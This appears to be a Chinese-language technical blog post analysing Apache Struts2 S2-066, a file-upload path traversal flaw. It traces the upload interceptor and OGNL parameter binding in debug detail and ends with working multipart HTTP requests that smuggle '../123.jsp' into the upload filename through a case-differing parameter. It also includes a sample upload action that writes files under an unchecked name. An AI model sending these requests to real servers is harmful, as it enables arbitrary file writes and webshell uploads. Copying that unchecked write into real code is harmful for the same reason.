Apache Struts2 文件上传分析(S2-066)

Apache Struts2 文件上传分析(S2-066)

struts2也很久没出过漏洞了吧,这次爆的是和文件上传相关

相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163

首先从commit可以看出,漏洞和大小写参数有关,后面会具体谈及image-20231209190556071image-20231209190701401

同时结合CVE描述我们可以知道,大概和路径穿越有关

1
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. Users are recommended to upgrade to versions Struts 2.5.33 or Struts 6.3.0.2 or greater to fix this issue.

环境

这里我以6.3.0为例搭建

1
2
3
4
5
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>

定义一个UploadAction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

private static final long serialVersionUID = 1L;


private File upload;

// 文件类型,为name属性值 + ContentType
private String uploadContentType;

// 文件名称,为name属性值 + FileName
private String uploadFileName;

public File getUpload() {
return upload;
}

public void setUpload(File upload) {
this.upload = upload;
}

public String getUploadContentType() {
return uploadContentType;
}

public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}

public String getUploadFileName() {
return uploadFileName;
}

public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}

public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}

}

在struts.xml当中,通常默认配置下这个文件在项目路径的/WEB-INF/classes路径下

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>

以及在web.xml当中配置好filter

1
2
3
4
5
6
7
8
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>

分析

从文件上传的Action也可以看出,struts2当中,文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName

上面描述可知此漏洞为路径穿越,而我们知道Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptorimage-20231209192607411

我们先来测试一下文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

发现落地的文件名字变成了1.txt

image-20231209212334957

我们简单来做个debug,看看文件上传的处理流程

首先在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中

获取文件名通过multiWrapper.getFileNames做处理

image-20231209193411457

最终是由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName做文件名处理,以下是部分调试栈,有兴趣的可以自行debug

1
2
3
4
getCanonicalName:162, AbstractMultiPartRequest (org.apache.struts2.dispatcher.multipart)
getFileNames:265, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
getFileNames:159, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)
intercept:279, FileUploadInterceptor (org.apache.struts2.interceptor)

这部分代码很直白,拦截了路径穿越

1
2
3
4
5
6
7
8
9
10
11
12
protected String getCanonicalName(final String originalFileName) {
String fileName = originalFileName;

int forwardSlash = fileName.lastIndexOf('/');
int backwardSlash = fileName.lastIndexOf('\\');
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = fileName.substring(forwardSlash + 1);
} else {
fileName = fileName.substring(backwardSlash + 1);
}
return fileName;
}

继续回到FileUploadInterceptor当中,处理完文件后,会把一些信息保存到acceptedFiles/acceptedContentTypes/acceptedFileNames中,从下面的fileNameName也可以看出为什么我们的Action一定要那样命名上传的文件名image-20231209195132672

再往下将这些参数保存到了org.apache.struts2.dispatcher.HttpParameters对象当中image-20231209195257512

既然是保存到了HttpParameter参数中,结合Commit当中的一些讯息,接下来我们很容易有个思考,既然是HttpParameter,是不是存在其他传参的过程能够做变量覆盖

从上面的图片做深入分析,我们可以知道ac.getParameters()获取到的HttpParameter对象是从上下文获取的

image-20231209201050657

上下文的创建在org.apache.struts2.dispatcher.Dispatcher#serviceAction

image-20231209201235178

在创建上下文的过程当中我们发现,调用了HttpParameters.create将请求的参数保存到了当中

image-20231209201416211

image-20231209201621575

看到这里其实我们也就可以知道大概思路了,参数的保存既然在FileUploadInterceptor之前,那么变量覆盖就不存在了(存储结构为Map,key唯一),结合到commit当中的一些大小写,此时我们不难猜到如果我们将上传的文件名小写,那会不会在将参数绑定到Action对象的过程当中

而这部分处理过程就在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept

里面调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters做参数绑定,这个过程老生常谈了,不懂得可以去百度了解了解这里不多谈了

当然这里还是需要多说一点,这个方法的调用是有顺序的,这和Map的存储结构有关

image-20231209223129852

这里可以看到是Treemap

image-20231209224143508

可以看到大写的会优先(Map结构)

image-20231209223652846

踩坑

我第一次打的时候把最后一位大写了,但是发现没有调用到set方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="UPloadFileName";
Content-Type: text/plain

1323.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

经过debug可以发现在ognl.OgnlRuntime#_getSetMethod获取setter方法时调用了ognl.OgnlRuntime#getDeclaredMethods做处理

image-20231209221024596

省略垃圾时间吧,最终在ognl.OgnlRuntime#addIfAccessor,可以看到必须满足ms.endsWith(baseName)(这点很关键,也就是说你的Action的程序代码怎么写影响你怎么写参数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static void addIfAccessor(List result, Method method, String baseName, boolean findSets)
{
final String ms = method.getName();
if (ms.endsWith(baseName)) {
boolean isSet = false, isIs = false;
if ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX)
|| (isIs = ms.startsWith(IS_PREFIX))) {
int prefixLength = (isIs ? 2 : 3);
if (isSet == findSets) {
if (baseName.length() == (ms.length() - prefixLength)) {
result.add(method);
}
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
部分调用栈如下
addIfAccessor:2701, OgnlRuntime (ognl)
collectAccessors:2686, OgnlRuntime (ognl)
getDeclaredMethods:2653, OgnlRuntime (ognl)
_getSetMethod:2915, OgnlRuntime (ognl)
getSetMethod:2884, OgnlRuntime (ognl)
hasSetMethod:2955, OgnlRuntime (ognl)
hasSetProperty:2973, OgnlRuntime (ognl)
setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setValueBody:134, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 102405086 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$53)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
....

而baseName其实也是有做了处理的(必须看),回到之前的getDeclaredMethods方法,我们的属性名会被capitalizeBeanPropertyName处理

image-20231209222120653

做了很多分支判断,可以看到特殊支持了一些特殊方法的调用,但是其实前面的几个不能用,因为他们后面多了一些字符(),在之前提到的endwith是不包括这些符号的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static String capitalizeBeanPropertyName(String propertyName) {
if (propertyName.length() == 1) {
return propertyName.toUpperCase();
}
// don't capitalize getters/setters
if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()")) {
if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
return propertyName;
}
}
if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")")) {
if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
return propertyName;
}
}
if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()")) {
if (Character.isUpperCase(propertyName.substring(2,3).charAt(0))) {
return propertyName;
}
}
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
}

我们主要关注下面的部分,如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写

1
2
3
4
5
6
7
8
9
char first = propertyName.charAt(0);
char second = propertyName.charAt(1);
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
char[] chars = propertyName.toCharArray();
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}

在这里的例子当中我们需要调用com.struts2.UploadAction#setUploadFileName

因此也只能限制了我们的写法要么是UploadFileName要么是uploadFileName(前面提到的endwith+capitalizeBeanPropertyName处理)

最终构造

按照Map存储的调用顺序我们即可构造

1
2
3
4
5
6
7
8
9
10
11
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--